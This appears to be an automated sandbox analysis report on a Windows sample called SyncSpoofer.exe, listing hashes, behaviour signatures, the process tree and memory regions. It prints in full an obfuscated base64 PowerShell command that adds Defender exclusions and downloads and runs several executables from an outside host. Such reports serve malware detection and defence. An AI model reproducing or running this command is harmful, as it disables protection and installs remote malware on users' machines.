Analysis

  • max time kernel
    78s
  • max time network
    100s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    10/06/2024, 13:18

General

  • Target

    SyncSpoofer.exe

  • Size

    2.5MB

  • MD5

    4c23a05e5ee3cbf9f770a04c434faead

  • SHA1

    67bdadebdd222beae7097bbed9699aaf18282657

  • SHA256

    5ad39be48dbd64accc2e81e8bcb4f65325fc119f283713ca5aa677869398c580

  • SHA512

    ac46de9bb81356d35f4b4cc930d7c934ebc9ac1578d93291d15540c44588985ce8a1479cd790b4318595609e7d392938c1345256eb889cf071e5d0b8cbe0f232

  • SSDEEP

    49152:jLTbqRkki0qgd0fsexLxZak//s3RA+SW4+VbuLpG8AVTyyu75jNi7MOZTFL:HaoDgw7aTB4W4+VgG8QTyrFJ8rNB

Score
5/10

Malware Config

Signatures

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SyncSpoofer.exe
    "C:\Users\Admin\AppData\Local\Temp\SyncSpoofer.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4952
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHMAbABoACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbQB2AHMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAZgBjAGoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcgBzAG4AIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAGwALwBIAHAAcwByAFMAcABvAG8AZgAuAGUAeABlACcALAAgADwAIwBqAGMAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAYgBpACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEgAcABzAHIAUwBwAG8AbwBmAC4AZQB4AGUAJwApACkAPAAjAHkAcgBjACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHMAcABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAGEAeQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYQBjAGUAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgBjAG0AIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBwAGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAawB6AHIAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAG0ALwBjAG8AbgBoAG8AcwB0AHMAZgB0AC4AZQB4AGUAJwAsACAAPAAjAGUAdgBuACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBmAGcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBpAHYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAYwBvAG4AaABvAHMAdABzAGYAdAAuAGUAeABlACcAKQApADwAIwB6AHIAZQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAG8AbwBrAHIAZQBhAGQAaQBuAGcAMgAwADIANAAuAG4AZQB0AC8AYwAvAFYAQwBfAHIAZQBkAGkAcwB0AHgANgA0AC4AZQB4AGUAJwAsACAAPAAjAHYAbgBzACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABlAHAAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBkAHcAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBDAF8AcgBlAGQAaQBzAHQAeAA2ADQALgBlAHgAZQAnACkAKQA8ACMAaABhAHQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdABxAHUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAZwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEgAcABzAHIAUwBwAG8AbwBmAC4AZQB4AGUAJwApADwAIwB4AHIAagAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGEAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZABrAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAcwBwAGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAPAAjAHcAeQB3ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHQAaQBlACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBhAGEAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBjAG8AbgBoAG8AcwB0AHMAZgB0AC4AZQB4AGUAJwApADwAIwBkAGsAeQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBtAHcAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgBrAHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVgBDAF8AcgBlAGQAaQBzAHQAeAA2ADQALgBlAHgAZQAnACkAPAAjAHkAawB1ACMAPgA="
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2068

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f5qnmc5a.yoz.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/2068-33-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-35-0x0000000006CD0000-0x0000000006D74000-memory.dmp

          Filesize

          656KB

        • memory/2068-56-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-4-0x000000007459E000-0x000000007459F000-memory.dmp

          Filesize

          4KB

        • memory/2068-5-0x0000000002650000-0x0000000002686000-memory.dmp

          Filesize

          216KB

        • memory/2068-6-0x0000000004DB0000-0x00000000053DA000-memory.dmp

          Filesize

          6.2MB

        • memory/2068-7-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-8-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-9-0x0000000004C10000-0x0000000004C32000-memory.dmp

          Filesize

          136KB

        • memory/2068-36-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-11-0x0000000005450000-0x00000000054B6000-memory.dmp

          Filesize

          408KB

        • memory/2068-53-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-20-0x0000000005580000-0x00000000058D7000-memory.dmp

          Filesize

          3.3MB

        • memory/2068-21-0x0000000005AB0000-0x0000000005ACE000-memory.dmp

          Filesize

          120KB

        • memory/2068-22-0x0000000005AF0000-0x0000000005B3C000-memory.dmp

          Filesize

          304KB

        • memory/2068-23-0x0000000006090000-0x00000000060C4000-memory.dmp

          Filesize

          208KB

        • memory/2068-24-0x0000000070780000-0x00000000707CC000-memory.dmp

          Filesize

          304KB

        • memory/2068-52-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-51-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-34-0x0000000006CA0000-0x0000000006CBE000-memory.dmp

          Filesize

          120KB

        • memory/2068-10-0x00000000053E0000-0x0000000005446000-memory.dmp

          Filesize

          408KB

        • memory/2068-37-0x0000000074590000-0x0000000074D41000-memory.dmp

          Filesize

          7.7MB

        • memory/2068-38-0x0000000007460000-0x0000000007ADA000-memory.dmp

          Filesize

          6.5MB

        • memory/2068-39-0x0000000006E20000-0x0000000006E3A000-memory.dmp

          Filesize

          104KB

        • memory/2068-40-0x0000000006EA0000-0x0000000006EAA000-memory.dmp

          Filesize

          40KB

        • memory/2068-41-0x00000000070F0000-0x0000000007186000-memory.dmp

          Filesize

          600KB

        • memory/2068-42-0x0000000007020000-0x0000000007031000-memory.dmp

          Filesize

          68KB

        • memory/2068-43-0x0000000007060000-0x000000000706E000-memory.dmp

          Filesize

          56KB

        • memory/2068-44-0x0000000007070000-0x0000000007085000-memory.dmp

          Filesize

          84KB

        • memory/2068-45-0x00000000070B0000-0x00000000070CA000-memory.dmp

          Filesize

          104KB

        • memory/2068-46-0x00000000070D0000-0x00000000070D8000-memory.dmp

          Filesize

          32KB

        • memory/2068-47-0x00000000071C0000-0x00000000071E2000-memory.dmp

          Filesize

          136KB

        • memory/2068-48-0x0000000008090000-0x0000000008636000-memory.dmp

          Filesize

          5.6MB

        • memory/2068-50-0x000000007459E000-0x000000007459F000-memory.dmp

          Filesize

          4KB

        • memory/4952-3-0x000000007FAA0000-0x000000007FE71000-memory.dmp

          Filesize

          3.8MB

        • memory/4952-0-0x0000000000400000-0x0000000000E19000-memory.dmp

          Filesize

          10.1MB

        • memory/4952-1-0x000000007FAA0000-0x000000007FE71000-memory.dmp

          Filesize

          3.8MB

        • memory/4952-2-0x0000000000400000-0x0000000000E19000-memory.dmp

          Filesize

          10.1MB